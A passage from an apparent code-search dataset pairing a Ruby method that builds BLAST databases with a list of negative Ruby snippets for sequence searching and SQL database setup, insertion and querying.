`#{make_target_db_cmd}`
end
@databases = true
[@query_name, @target_name]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def makedb\n # only scan the first few hundred entries\n n = 100\n # check if the query is a nucl or prot seq\n query_file = Bio::FastaFormat.open(@query)\n count_p=0\n count=0\n query_file.take(n).each do |entry|\n count_p += 1 if entry.isProt?\n count += 1\n end\n if count_p > count*0.9\n @query_is_prot = true\n else\n @query_is_prot = false\n end\n\n # check if the target is a nucl or prot seq\n target_file = Bio::FastaFormat.open(@target)\n count_p=0\n count=0\n target_file.take(n).each do |entry|\n count_p += 1 if entry.isProt?\n count += 1\n end\n if count_p > count*0.9\n @target_is_prot = true\n else\n @target_is_prot = false\n end\n # construct the output database names\n @query_name = File.basename(@query).split('.')[0..-2].join('.')\n @target_name = File.basename(@target).split('.')[0..-2].join('.')\n\n # check if the databases already exist in @working_dir\n make_query_db_cmd = \"#{@makedb_path} -in #{@query}\"\n make_query_db_cmd << \" -dbtype nucl \" if !@query_is_prot\n make_query_db_cmd << \" -dbtype prot \" if @query_is_prot\n make_query_db_cmd << \" -title #{query_name} \"\n make_query_db_cmd << \" -out #{@working_dir}/#{query_name}\"\n db_query = \"#{query_name}.nsq\" if !@query_is_prot\n db_query = \"#{query_name}.psq\" if @query_is_prot\n if !File.exists?(\"#{@working_dir}/#{db_query}\")\n make_db = Cmd.new(make_query_db_cmd)\n make_db.run\n if !make_db.status.success?\n msg = \"BLAST Error creating database:\\n\" +\n make_db.stdout + \"\\n\" +\n make_db.stderr\n raise RuntimeError.new(msg)\n end\n end\n\n make_target_db_cmd = \"#{@makedb_path} -in #{@target}\"\n make_target_db_cmd << \" -dbtype nucl \" if !@target_is_prot\n make_target_db_cmd << \" -dbtype prot \" if @target_is_prot\n make_target_db_cmd << \" -title #{target_name} \"\n make_target_db_cmd << \" -out #{@working_dir}/#{target_name}\"\n\n db_target = \"#{target_name}.nsq\" if !@target_is_prot\n db_target = \"#{target_name}.psq\" if @target_is_prot\n if !File.exists?(\"#{@working_dir}/#{db_target}\")\n make_db = Cmd.new(make_target_db_cmd)\n make_db.run\n if !make_db.status.success?\n raise RuntimeError.new(\"BLAST Error creating database\")\n end\n end\n @databases = true\n [@query_name, @target_name]\n end",
"def make_blast_databases\n unformatted_fastas.each do |file, sequence_type|\n make_blast_database(file, sequence_type)\n end\n end",
"def gather_target_sites(all_blast_results,gbff_dir,seq_dir,flanking_res)\n #step1 process blast_results into a hash function which includes the seq_id and an array of blast_items\n #blast_result_hash = blast_results_to_hash(all_blast_results)\n #step2 gather endo from gbff file\n process_all_db(all_blast_results,gbff_dir,seq_dir,flanking_res)\nend",
"def set_blast_dbs\n @blast_dbs = {\n :blastn => Quorum.blastn,\n :blastx => Quorum.blastx,\n :tblastn => Quorum.tblastn,\n :blastp => Quorum.blastp\n }\n end",
"def make_query(query)\n puppetdb_client = Puppet.lookup(:bolt_pdb_client)\n # Bolt executor not expected when invoked from apply block\n executor = Puppet.lookup(:bolt_executor) { nil }\n executor&.report_function_call(self.class.name)\n\n puppetdb_client.make_query(query)\n end",
"def generate_query\n unless databases.nil?\n databases.each do |db|\n create_query[db] = [\"create table #{tablename} (\"]\n end\n csv_column_datatypes.each do |header, datatype|\n append_to_query = build_query_for_datatype(header, datatype)\n append_to_query.each do |key, value|\n create_query[key].push(value)\n end\n end\n prepare_sql_statements\n prepare_import_csv\n # Pass the prepared statements to options varaible.\n # Which gets passed on to print_metadata_analysis\n options[:create_query] = create_query\n options[:import_query] = import_query\n end\n print_metadata_analysis\n end",
"def node_query_mapping_insert\n # binding.pry\n branches.each do |br|\n br.nodes.each do |nd|\n nodeName = nd.name\n\n # columnsArray=nd.columns.map{|c| \"'\"+(c.relalias.nil? ? '' : c.relalias+'.')+c.colname+\"'\"}.join(',')\n columnsArray = nd.columns.map { |c| \"'\" + c.relname + '.' + c.colname + \"'\" }.join(',')\n query = \"INSERT INTO #{@nqTblName} values (#{@test_id} ,'#{br.name}','#{nd.name}', '#{nd.query.gsub(/'/, '\\'\\'')}',#{nd.location}, ARRAY[#{columnsArray}], #{nd.suspicious_score} , '#{@type}' )\"\n # pp query\n DBConn.exec(query)\n end\n end\n end",
"def from_blastdb(sequence_ids, database_ids)\n sequence_ids = sequence_ids.join(',')\n database_names = Database[database_ids].map(&:name).join(' ')\n\n # Output of the command will be tab separated three columns.\n command = \"blastdbcmd -outfmt '%a\t%t\t%s'\" \\\n \" -db '#{database_names}' -entry '#{sequence_ids}'\"\n\n logger.debug(\"Executing: #{command}\")\n\n # Not interested in stderr.\n `#{command} 2> /dev/null`.\n each_line.map {|line| Sequence.new(*line.split('\t'))}\n end",
"def make_blast_database(file, type)\n puts \"FASTA file: #{file}\"\n puts \"FASTA type: #{type}\"\n\n print \"Proceed? [y/n] (Default: y): \"\n response = STDIN.gets.to_s.strip\n\n unless response.match(/n/i)\n default_title = make_db_title(File.basename(file))\n print \"Enter a database title or will use '#{default_title}': \"\n title = STDIN.gets.to_s\n title = default_title if title.strip.empty?\n\n `makeblastdb -parse_seqids -hash_index \\\n -in #{file} -dbtype #{type.to_s.slice(0,4)} -title \"#{title}\"`\n end\n end",
"def drillthrough(query)\n RowSet.new @connection.create_statement.execute_query(query.to_s)\n end",
"def perform_query\n Rails.logger.info queries.to_sql\n queries\n end",
"def seed\n parse\n prepare_sql\n execute_sql\n end",
"def prepare_sql_statements\n begin\n databases.each do |db|\n create_query[db][0] = create_query[db][0] + \" \" + create_query[db][1]\n create_query[db].delete_at(1)\n create_query[db] = create_query[db].join(\", \")\n create_query[db] << \");\"\n end\n rescue TypeError => e\n end\n end",
"def merge_into(target)\n target_id = target.id\n # Find all the Entries attached to this name, that will need to be\n # reindexed after the merge\n entry_ids = entry_ids_to_index_on_update\n\n ids = EntryArtist.where(artist_id: self.id).pluck(:id)\n EntryArtist.where(artist_id: self.id).update_all({ artist_id: target_id })\n EntryArtist.where( id: ids ).each(&:update_bunny)\n\n ids = EntryAuthor.where(author_id: self.id).pluck(:id)\n EntryAuthor.where(author_id: self.id).update_all({ author_id: target_id })\n EntryAuthor.where( id: ids ).each(&:update_bunny)\n\n ids = EntryScribe.where(scribe_id: self.id).pluck(:id)\n EntryScribe.where(scribe_id: self.id).update_all({ scribe_id: target_id })\n EntryScribe.where( id: ids ).each(&:update_bunny)\n\n ids = SaleAgent.where(agent_id: self.id).pluck(:id)\n SaleAgent.where(agent_id: self.id).update_all({ agent_id: target_id })\n SaleAgent.where( id: ids ).each(&:update_bunny)\n\n ids = SourceAgent.where(agent_id: self.id).pluck(:id)\n SourceAgent.where(agent_id: self.id).update_all({ agent_id: target_id })\n SourceAgent.where( id: ids ).each(&:update_bunny)\n\n ids = Provenance.where(provenance_agent_id: self.id).pluck(:id)\n Provenance.where(provenance_agent_id: self.id).update_all({ provenance_agent_id: target_id })\n Provenance.where( id: ids ).each(&:update_bunny)\n\n ids = DericciLink.where(name_id: self.id).pluck(:id)\n DericciLink.where(name_id: self.id).update_all({ name_id: target_id })\n DericciLink.where( id: ids ).each(&:update_bunny)\n\n ids = DericciRecord.where(verified_id: self.id).pluck(:id)\n DericciRecord.where(verified_id: self.id).update_all({verified_id: target_id})\n DericciRecord.where( id: ids ).each(&:update_bunny)\n\n # update flags on the target\n target.is_artist ||= self.is_artist\n target.is_author ||= self.is_author\n target.is_scribe ||= self.is_scribe\n target.is_provenance_agent ||= self.is_provenance_agent\n\n target.save\n\n # but ... CAN't SAVE when name is BLANK (nil)\n # self.name = nil\n self.viaf_id = nil\n self.deleted = true\n self.save!\n\n # slice into managable chunks to avoid running out of space in mysql\n entry_ids.each_slice(200) do |slice|\n SDBMSS::IndexJob.perform_later(Entry.to_s, slice)\n end\n\n Name.update_counters(target.id,\n :authors_count => target.author_entries.where(deprecated: false, draft: false).count - target.authors_count,\n :artists_count => target.artist_entries.where(deprecated: false, draft: false).count - target.artists_count,\n :scribes_count => target.scribe_entries.where(deprecated: false, draft: false).count - target.scribes_count,\n :sale_agents_count => target.sale_entries.where(deprecated: false, draft: false).count - target.sale_agents_count,\n :provenance_count => target.provenance_entries.where(deprecated: false, draft: false).count - target.provenance_count,\n :source_agents_count => target.agent_sources.count - target.source_agents_count\n )\n end",
"def build_tables\n @db.exec(%q[\n CREATE TABLE IF NOT EXISTS breeds(\n id serial NOT NULL PRIMARY KEY,\n breed varchar(30),\n price integer\n )])\n\n @db.exec(%q[\n CREATE TABLE IF NOT EXISTS puppies(\n id serial NOT NULL PRIMARY KEY,\n breed varchar(30),\n name varchar(30),\n age integer,\n created_at timestamp NOT NULL DEFAULT current_timestamp\n )])\n\n @db.exec(%q[\n CREATE TABLE IF NOT EXISTS requests(\n id serial NOT NULL PRIMARY KEY,\n breed text,\n status text,\n created_at timestamp NOT NULL DEFAULT current_timestamp\n )])\n end",
"def create_target_table(context, &block)\n with_logging(:debug, \"Creating target table #{target} (from #{source})\") do\n context.execute \"CREATE TABLE #{target} LIKE #{source}\"\n yield if block_given?\n end\n end",
"def query; end",
"def create_bboard(db, name, task, importance)\n db.execute(\"INSERT INTO bboard (name, task, importance) VALUES (?, ?, ?)\", [name, task, importance])\nend",
"def db_adder(database, year, variety, region, notes)\n database.execute(\"INSERT INTO wine_cellar (year,variety,region,notes) VALUES (?,?,?,?)\", [year,variety,region,notes])\nend",
"def get_budgets(db)\r\n budgets = db.execute(\"SELECT * FROM budgets\")\r\nend",
"def write_sql model_name, model_attributes,output\n model_attributes.each do|key,query|\n sql= ActiveRecord::Base.connection();\n (sql.select_all query).each do |row|\n make_triples(row,model_name,\"\")\n end\n end\n end",
"def run_booster (booster)\n boosterPred = booster[:boostPred]\n boosted = booster[:boosted]\n \n coefficients = \"\"\n max = booster[:maxTotal]\n parts = \"\"\n booster[:parts].each_with_index do |part,index|\n target = part[:target]\n parts += \"OPTIONAL { ?target <#{part[:pred]}> ?t#{index} . }\nBIND (IF (BOUND(?t#{index}), xsd:float(?t#{index}) - #{target}, 0) AS ?p#{index}) .\\n\"\n if index > 0\n coefficients += \" + \"\n end\n coef = part[:coef]\n min = part[:min]\n coefficients += \"(xsd:float(#{coef})*(IF(?p#{index} < xsd:float(#{min}), xsd:float(#{min}), IF( ?p#{index} > 1, 1, ?p#{index}))))\"\n end\n\n query = \"PREFIX mt: <#{MT}>\nDELETE {\n GRAPH <#{settings.graph}> {\n ?target <#{boosterPred}> ?oldscore .\n }\n}INSERT {\n GRAPH <#{settings.graph}> {\n ?target <#{boosterPred}> ?newscore .\n }\n} WHERE {\n GRAPH <#{settings.graph}> {\n ?target a mt:Mapping.\n OPTIONAL { ?target <#{boosterPred}> ?oldscore. }\n {\n SELECT ?target IF(?tempNew < 0, 0, IF(?tempNew/xsd:float(#{max}) > 1, 1, ?tempNew/xsd:float(#{max}))) AS ?newscore WHERE {\n SELECT ?target xsd:float(?base + (#{coefficients})) AS ?tempNew WHERE {\n ?target a mt:Mapping.\n OPTIONAL {\n ?target <#{boosted}> ?b .\n }\n BIND(IF(BOUND(?b), ?b, 0) as ?base)\n #{parts}\n }\n }\n }\n }\n}\"\n sparqlUpdate(query)\n end",
"def run_blast(evalue, threads, split)\n if @databases\n @output1 = \"#{@working_dir}/#{query_name}_into_#{target_name}.1.blast\"\n @output2 = \"#{@working_dir}/#{target_name}_into_#{query_name}.2.blast\"\n if @query_is_prot\n if @target_is_prot\n bin1 = \"#{@blastp_path} \"\n bin2 = \"#{@blastp_path} \"\n else\n bin1 = \"#{@tblastn_path} \"\n bin2 = \"#{@blastx_path} \"\n end\n else\n if @target_is_prot\n bin1 = \"#{@blastx_path} \"\n bin2 = \"#{@tblastn_path} \"\n else\n bin1 = \"#{@blastn_path} \"\n bin2 = \"#{@blastn_path} \"\n end\n end\n if split and threads > 1\n run_blast_with_splitting evalue, threads, bin1, bin2\n else\n run_blast_with_threads evalue, threads, bin1, bin2\n end\n return true\n else\n return false\n end\n end",
"def Blast\n\n\t\nend",
"def make_blastdbs! fnames, cpus=4\n suffix = BLAST_DB_SUFFIX\n outfiles = fnames.map { |fname| fname + suffix }\n\n Parallel.each(fnames, in_processes: cpus) do |fname|\n cmd = \"diamond makedb --threads 1 --in #{fname} \" +\n \"--db #{fname}#{BLAST_DB_SUFFIX}\"\n\n Process.run_and_time_it! \"Make db\", cmd\n end\n\n outfiles\n end",
"def merge_statement(target, stage)\n <<-SQLMERGE\n begin transaction;\n\n delete from #{target}\n using #{stage}\n where #{target}.id = #{stage}.id;\n insert into #{target}\n select * from #{stage};\n\n end transaction;\n SQLMERGE\n end",
"def copy_to(db, args = {})\r\n data[\"tables\"].each do |table|\r\n table_args = nil\r\n table_args = args[\"tables\"][table[\"name\"].to_s] if args and args[\"tables\"] and args[\"tables\"][table[\"name\"].to_s]\r\n next if table_args and table_args[\"skip\"]\r\n table.delete(\"indexes\") if table.key?(\"indexes\") and args[\"skip_indexes\"]\r\n db.tables.create(table[\"name\"], table)\r\n \r\n limit_from = 0\r\n limit_incr = 1000\r\n \r\n loop do\r\n ins_arr = []\r\n q_rows = self.select(table[\"name\"], {}, {\"limit_from\" => limit_from, \"limit_to\" => limit_incr})\r\n while d_rows = q_rows.fetch\r\n col_args = nil\r\n \r\n if table_args and table_args[\"columns\"]\r\n d_rows.each do |col_name, col_data|\r\n col_args = table_args[\"columns\"][col_name.to_s] if table_args and table_args[\"columns\"]\r\n d_rows[col_name] = \"\" if col_args and col_args[\"empty\"]\r\n end\r\n end\r\n \r\n ins_arr << d_rows\r\n end\r\n \r\n break if ins_arr.empty?\r\n \r\n db.insert_multi(table[\"name\"], ins_arr)\r\n limit_from += limit_incr\r\n end\r\n end\r\n end",
"def create_likely_qda_data\n ActiveRecord::Base.connection.execute likely_qda_sql\n end",
"def initial_query; end",
"def generate2sql(w)\n File.open(@filename_target, 'w') {|file| file.write(w)}\nend",
"def execute sql\n db[sql]\n end",
"def perform\n params_dump\n\n ### KEEPING FORMER ROUNDS\n #@commands << \"cp #{@outfile} #{@outfile}.former\" \n # Export variable needed for HHSuite\n #@commands << \"export HHLIB=#{HHLIB} \"\n #@commands << \"export PATH=$PATH:#{HHSUITE}\" \n \n # cmd for blast run\n @commands << \"source #{SETENV}\" \n @commands << \"echo 'Starting BLAST search' &> #{job.statuslog_path}\"\n @commands << \"#{CSBLAST}/bin/csblast -i #{@infile} -j #{@rounds} -h #{@e_thresh} -D #{CSBLAST}/data/K4000.crf #{@alignment} --blast-path #{BLAST}/bin -e #{@expect} -F #{@filter} -G #{@gapopen} -E #{@gapext} -v #{@descriptions} -b #{@alignments} -T T -o #{@outfile} -d \\\"#{@db_path}\\\" -I T -a 1 #{@other_advanced} >>#{job.statuslog_path}\"\n \n @commands << \"echo 'Finished BLAST search' >> #{job.statuslog_path}\"\n # run perl script to fix blast errors. TODO: Find out what script does \n @commands << \"echo 'Fixing BLAST errors' >> #{job.statuslog_path}\" \n @commands << \"#{UTILS}/fix_blast_errors.pl -i #{@outfile} &>#{@basename}.log_fix_errors\"\n # run perl script to visualize blast results. TODO: Find out what script does\n @commands << \"echo 'Visualizing BLAST Output' >> #{job.statuslog_path}\" \n @commands << \"#{UTILS}/blastviz.pl #{@outfile} #{job.jobid} #{job.job_dir} #{job.url_for_job_dir_abs} &> #{@basename}.blastvizlog\";\n # run perl script to process blast history. TODO: Find out what script does\n @commands << \"echo 'Generating Blast Histograms... ' >> #{job.statuslog_path}\"\n @commands << \"#{UTILS}/blasthisto.pl #{@outfile} #{job.jobid} #{job.job_dir} &> #{@basename}.blasthistolog\";\n \n # run perl script to create alignment\n @commands << \"echo 'Processing Alignments... ' >> #{job.statuslog_path}\"\n @commands << \"#{UTILS}/alignhits_html.pl #{@outfile} #{@basename}.align -fas -no_link -e #{@expect}\"\n # run perl script to reformat alignment TODO: Find out what script does\n @commands << \"reformat.pl fas fas #{@basename}.align #{@basename}.ralign -M first -r\"\n # TODO: Find out what script does\n @commands << \"if [ -s #{@basename}.ralign ]; then hhfilter -i #{@basename}.ralign -o #{@basename}.ralign -diff 50; fi\"\n # TODO: Find out what script does\n @commands << \"#{RUBY_UTILS}/parse_csiblast.rb -i #{@basename}.csblast -o #{@basename}.csblast\"\n # Generate Jalview Output from alignment data\n @commands << \"echo 'Creating Jalview Input... ' >> #{job.statuslog_path}\"\n @commands << \"#{RUBY_UTILS}/parse_jalview.rb -i #{@basename}.ralign -o #{@basename}.j.align\" \n # TODO: Find out what script does\n @commands << \"reformat.pl fas fas #{@basename}.j.align #{@basename}.j.align -r\"\n\n\n @commands << \"source #{UNSETENV}\" \n\n logger.debug \"Commands:\\n\"+@commands.join(\"\\n\")\n # Submit generated cmd list to queue\n queue.submit(@commands)\n\n end",
"def copy_database(from, to, from_host=\"localhost\")\n oh = OrderedHash.new\n oh[:copydb] = 1\n oh[:fromhost] = from_host\n oh[:fromdb] = from\n oh[:todb] = to\n self[\"admin\"].command(oh)\n end",
"def to_sql\n source.select(bin_sql).to_sql\n end",
"def create_database\n $conn.exec(\"\"\"\n CREATE TABLE users (\n id SERIAL NOT NULL,\n name varchar(255) NOT NULL,\n created_at timestamp NOT NULL,\n PRIMARY KEY (id)\n );\n CREATE UNIQUE INDEX user_names ON users (name);\n CREATE TABLE blathers (\n id SERIAL NOT NULL,\n text varchar(141) NOT NULL,\n created_at timestamp NOT NULL,\n user_id integer NOT NULL,\n PRIMARY KEY (id)\n );\n CREATE TABLE blathers_mentioned_users (\n blather_id integer NOT NULL,\n user_id integer NOT NULL,\n PRIMARY KEY (blather_id, user_id)\n );\n \"\"\")\nend",
"def save\r\n # raise error if schema is not same between from and to.\r\n # so , create sql from record map\r\n #keys = get_schema.map{|v| v[0]}\r\n keys = @__stored_map__.keys\r\n sql = \"insert into #{self.class.table_name} (#{keys.join(',')}) values( \"\r\n\r\n keys.each_with_index do |key , index|\r\n v = @__stored_map__[key]\r\n sql << ',' if index != 0\r\n sql << (v.kind_of?(String) ? \"'#{v}'\" : v.to_s)\r\n end\r\n sql << \")\"\r\n puts sql if $DEBUG\r\n self.class.execute_sql(sql)\r\n end",
"def cs_starter\n # make_batched_queries\n make_standard_queries\n end",
"def create_target(host,port,ssl,sel)\n\t\ttar = WmapTarget.create(\n\t\t\t\t:host => host,\n\t\t\t\t:address => host,\n\t\t\t\t:port => port,\n\t\t\t\t:ssl => ssl,\n\t\t\t\t:selected => sel\n\t\t\t)\n\t\t#framework.events.on_db_target(rec)\n\tend",
"def create_lr_urpn_mapping_data(uprn)\n $db_connection.exec(\"INSERT INTO uprn_mapping(uprn, lr_uprn)VALUES (#{uprn}, #{uprn});\")\nend",
"def run_blast_with_splitting evalue, threads, bin1, bin2\n # puts \"running blast by splitting input into #{threads} pieces\"\n if !File.exist?(@output1)\n blasts=[]\n files = split_input(@query, threads)\n threads = [threads, files.length].min\n files.threach(threads) do |thread|\n cmd1 = \"#{bin1} -query #{thread} -db #{@working_dir}/#{@target_name} \"\n cmd1 << \" -out #{thread}.blast -evalue #{evalue} \"\n cmd1 << \" -outfmt \\\"6 std qlen slen\\\" \"\n if bin1=~/blastn/\n cmd1 << \" -dust no \"\n elsif bin1=~/blastx/ or bin1=~/blastp/ or bin1=~/tblastn/\n cmd1 << \" -seg no \"\n end\n cmd1 << \" -soft_masking false \"\n cmd1 << \" -max_target_seqs 50 \"\n cmd1 << \" -num_threads 1\"\n if !File.exists?(\"#{thread}.blast\")\n blast1 = Cmd.new(cmd1)\n blast1.run\n if !blast1.status.success?\n raise RuntimeError.new(\"BLAST Error:\\n#{blast1.stderr}\")\n end\n end\n blasts << \"#{thread}.blast\"\n end\n cat_cmd = \"cat \"\n cat_cmd << blasts.join(\" \")\n cat_cmd << \" > #{@output1}\"\n catting = Cmd.new(cat_cmd)\n catting.run\n if !catting.status.success?\n raise RuntimeError.new(\"Problem catting files:\\n#{catting.stderr}\")\n end\n files.each do |file|\n File.delete(file) if File.exist?(file)\n end\n blasts.each do |b|\n File.delete(b) # delete intermediate blast output files\n end\n end\n\n if !File.exist?(@output2)\n blasts=[]\n files = split_input(@target, threads)\n threads = [threads, files.length].min\n files.threach(threads) do |thread|\n cmd2 = \"#{bin2} -query #{thread} -db #{@working_dir}/#{@query_name} \"\n cmd2 << \" -out #{thread}.blast -evalue #{evalue} \"\n cmd2 << \" -outfmt \\\"6 std qlen slen\\\" \"\n cmd2 << \" -max_target_seqs 50 \"\n cmd2 << \" -num_threads 1\"\n if !File.exists?(\"#{thread}.blast\")\n blast2 = Cmd.new(cmd2)\n blast2.run\n if !blast2.status.success?\n raise RuntimeError.new(\"BLAST Error:\\n#{blast2.stderr}\")\n end\n end\n blasts << \"#{thread}.blast\"\n end\n cat_cmd = \"cat \"\n cat_cmd << blasts.join(\" \")\n cat_cmd << \" > #{@output2}\"\n catting = Cmd.new(cat_cmd)\n catting.run\n if !catting.status.success?\n raise RuntimeError.new(\"Problem catting files:\\n#{catting.stderr}\")\n end\n files.each do |file|\n File.delete(file) if File.exist?(file)\n end\n blasts.each do |b|\n File.delete(b) # delete intermediate blast output files\n end\n end\n\n end",
"def create_db(db_name)\n\n db = SQLite3::Database.new(db_name + \".db\")\n db.results_as_hash = true\n current_db_name = (db_name + \".db\")\n\n # Create Project Table\n create_project_table = <<-SQL\n CREATE TABLE IF NOT EXISTS projects(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n client VARCHAR(255)\n )\n SQL\n\n # Create Geologists Table\n create_geo_table = <<-SQL\n CREATE TABLE IF NOT EXISTS geologists(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n company VARCHAR(255)\n )\n SQL\n\n # Create Borehole Table\n create_borehole_table = <<-SQL\n CREATE TABLE IF NOT EXISTS boreholes(\n id INTEGER PRIMARY KEY,\n designation VARCHAR(255),\n northing REAL,\n easting REAL,\n elevation REAL,\n project_id INTEGER,\n FOREIGN KEY (project_id) REFERENCES projects(id)\n )\n SQL\n \n # Create Samples Table\n create_sample_table = <<-SQL\n CREATE TABLE IF NOT EXISTS samples(\n id INTEGER PRIMARY KEY,\n bh_id INTEGER, \n logger_id INTEGER,\n depth REAL,\n USCS VARCHAR(63),\n color VARCHAR(127),\n wetness VARCHAR(63),\n percent_gravel INTEGER,\n percent_sand INTEGER,\n percent_fines INTEGER,\n plasticity VARCHAR(63),\n toughness VARCHAR(63),\n other VARCHAR(255),\n FOREIGN KEY (bh_id) REFERENCES boreholes(id),\n FOREIGN KEY (logger_id) REFERENCES geologists(id)\n )\n SQL\n\n db.execute(create_project_table)\n db.execute(create_geo_table)\n db.execute(create_borehole_table)\n db.execute(create_sample_table)\n\n db\nend",
"def to_create_database_sql(db)\n db.send(:create_database_sql, self.name, {})\n end",
"def save_blasts\n for recipient in @recipients\n blast = @blast.clone()\n blast.to = recipient\n now = Time.now()\n blast.created_at = now\n blast.sent_at = now\n blast.save!\n end\n end",
"def select(db); end",
"def select(db); end",
"def execute_insert(query)\n @connection.nil? and raise \"Attempting to query a connection that isn't open.\"\n\n if (@type == \"db2\")\n Models::Databases::SiteDatabase::Base.connection.execute(query)\n elsif (@type == \"bops\")\n Models::Databases::Bops::Base.connection.execute(query)\n else\n Models::Databases::Dyces::Base.connection.execute(query)\n end\n\n end",
"def blast_string_to_blast_archive(method, db, qstring, options = nil)\n b = Blast.new(method, db, :qstring => qstring, :options => options)\n b.run_to_blast_archive!\n b\n end",
"def insert_takoble\n\t\tsql = \"insert into TAKO_List values (?, ?)\"\n\t\treturn sql\n\tend",
"def create_business(database, name, industry)\n database.execute(\"INSERT INTO businesses (name, industry) VALUES (?, ?)\", [name, industry])\nend",
"def build\n raise FedoraMigrate::Errors::MigrationError, \"No qualified targets found in #{source.pid}\" if target.nil?\n\n # create target, and apply depositor metadata\n obj = target.new\n\n obj.apply_depositor_metadata @depositor_utln\n obj.visibility = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n\n user = User.find_by_user_key(@depositor_utln)\n# CurationConcerns::Workflow::ActivateObject.call(target: obj, comment: 'activate object', user: user)\n\n create_and_add_payload(obj, @payload_primary, @depositor_utln)\n\n #deal with 2 primary datastream objects, storing second object in a new file set\n create_and_add_payload(obj, @payload_secondary, @depositor_utln) unless @payload_secondary.nil?\n\n #handle a case of bad hand created data on old records\n create_and_add_payload(obj, \"ARCHIVAL_SOUND\", @depositor_utln) if @payload_primary == \"ARCHIVAL_WAV\"\n\n # back up old data\n #create_and_add_fcrepo3_set obj\n\n process_desc_metadata obj\n process_admin_metadata obj\n process_technical_metadata obj\n process_relsext_metadata obj\n\n# obj.save\n\n process_collection_metadata obj\n\n active_workflow = Sipity::Workflow.find(2)\n Sipity::Entity.create!(proxy_for_global_id: obj.to_global_id.to_s,\n workflow: active_workflow,\n workflow_state: nil)\n\n obj\n end",
"def execute\n ActiveRecord::Base.connection.execute(source)\n end",
"def inputListToDB hash\n\tbegin\n\t\tmaxID = maxIDFootballTeam\n\t\thash.each do |k,v|\n\t\t\tquery = \"insert into football_tearm(id_team, name_team, seed) values (%d, '%s', %s)\" % [v.id, v.name, v.seed]\n\t\t \t@client.query(query)\n\t\tend\n\trescue Exception => e\n\t\tputs e.message\n\t\tputs \"Can not insert database, Please wait and try again after\"\n\tend\nend",
"def create_target(host,port,ssl,sel)\n\t\ttar = Target.create(\n\t\t\t\t:host => host, \n\t\t\t\t:port => port, \n\t\t\t\t:ssl => ssl, \n\t\t\t\t:selected => sel\n\t\t\t)\n\t\ttar.save\t\n\t\t#framework.events.on_db_target(context, rec)\n\tend",
"def blast_string(method, db, qstring, options = nil)\n b = Blast.new(method, db, :qstring => qstring, :options => options)\n b.run!\n b\n end",
"def fetch_and_import!(opts={})\n eve_table = opts[:eve_table]\n dest_table = opts[:dest_table]\n mapping = opts[:mapping]\n dbh = opts[:conn] || @dbh\n comment_label = opts[:label]\n \n # Fetch Data from crpActivities Table\n results = dbh.query(\"SELECT * FROM \"+eve_table)\n # Clear Destination Table to eliminate Redundancy\n dest_table.camelize.constantize.delete_all\n # Do some Meta programming FU magic\n results.each do |row|\n insert_map = {}\n mapping.each do |key,value|\n insert_map[key.to_sym] = row[value]\n end \n dest_table.camelize.constantize.create!(insert_map)\n # Just so you see something when running this script..\n p \"Creating Record for #{dest_table} : \" + row[comment_label].to_s\n end\nend",
"def sql opts = EMPTY_HASH\n opts = options.merge(opts)\n\n join_tables = BELONGS_TO.map{|x| x.to_s.pluralize} + [ ContentStatus.table_name ]\n join_tables.uniq!\n\n tables = join_tables.dup\n clauses = [ ]\n\n @model_class = Content::Version if self.latest || self.versions\n\n connection = model_class.connection\n\n t = :updater_users\n tables << \"#{User.table_name} AS #{t}\"\n join_tables << t\n\n t = :creator_users\n tables << \"#{User.table_name} AS #{t}\"\n join_tables << t\n\n unless (version_list_name = params[:version_list_name]).blank?\n @model_class = Content::Version\n tables << \n (t1 = VersionListName.table_name) << \n (t2 = VersionList.table_name) <<\n (t3 = VersionListContent.table_name)\n clauses << \n \"#{t1}.name = #{connection.quote(version_list_name)}\" <<\n \"#{t3}.version_list_id = #{t1}.version_list_id\"\n else\n version_list_name = nil\n end\n\n unless (version_list_id = params[:version_list_id]).blank?\n version_list_id = version_list_id.to_i\n @model_class = Content::Version\n tables <<\n (t3 = VersionListContent.table_name)\n clauses << \n \"#{t3}.version_list_id = #{connection.quote(version_list_id)}\"\n else\n version_list_id = nil\n end\n\n\n table_name = \n opts[:table_name] || \n model_class.table_name\n\n if version_list_name || version_list_id \n tables << \n (t3 = VersionListContent.table_name)\n clauses << \n \"#{t3}.content_version_id = contents.id\"\n end\n\n select_table = \"contents\"\n if self.latest || self.versions\n select_table = 'cv'\n end\n select_values = \"#{select_table}.*\"\n\n order_by = Content.order_by\n order_by = order_by.split('), (').join(\"),\\n (\") \n order_by.gsub!(/\\.id = /, \".id = #{select_table}.\")\n order_by << \",\\n version DESC\" if self.versions\n \n if opts[:count]\n select_values = \"COUNT(#{select_values})\"\n order_by = nil\n end\n\n\n ##################################################################\n # Generate SQL\n #\n\n sql = ''\n\n if self.latest || self.versions\n sql << \"SELECT #{select_values} FROM #{model_class.table_name} AS cv\"\n sql << \"\\nWHERE cv.id IN (\\n\"\n case \n when self.latest\n select_values = 'MAX(contents.id)'\n when self.versions\n select_values = 'contents.id'\n end\n end\n\n \n sql << <<\"END\"\nSELECT #{select_values}\nFROM #{table_name} AS contents, #{tables.uniq * ', '}, content_types\nWHERE\n #{join_tables.map{|x| \"(#{x}.id = contents.#{x.to_s.singularize}_id)\"} * \"\\nAND \"}\nAND (content_types.id = content_keys.content_type_id)\nEND\n\n # Join clauses:\n# pp opts\n clauses << opts[:conditions] unless opts[:conditions].blank?\n unless clauses.empty?\n sql << \"\\nAND \" << (clauses.map{| x | \"(#{x})\"} * \"\\nAND \")\n end\n\n # Search clauses:\n unless (where = sql_where_clauses(opts)).empty?\n sql << \"\\nAND \" << where\n end\n\n if self.latest || self.versions\n sql << \"\\nAND contents.content_id = cv.content_id\" \n sql << \"\\n)\"\n end\n\n # Ordering:\n if order_by\n sql << \"\\nORDER BY\\n \" << order_by\n end\n\n # Limit:\n if x = (opts[:limit])\n sql << \"\\nLIMIT #{x}\"\n end\n\n if opts[:dump_sql] # || true\n $stderr.puts \" params = #{params.inspect}\"\n $stderr.puts \" sql =\\n #{sql}\"\n # raise \"LKSDJFLKSJDF\"\n end\n\n sql\n end",
"def query(sql)\n database.execute2(sql)\n end",
"def initialize(blast_database_file_path)\n @database = blast_database_file_path\n @fastacmd = 'fastacmd'\n end",
"def create\n puts \"Creating tumblr\"\n ActiveRecord::Base.connection.execute(File.open(\"db/schema.sql\").read)\n end",
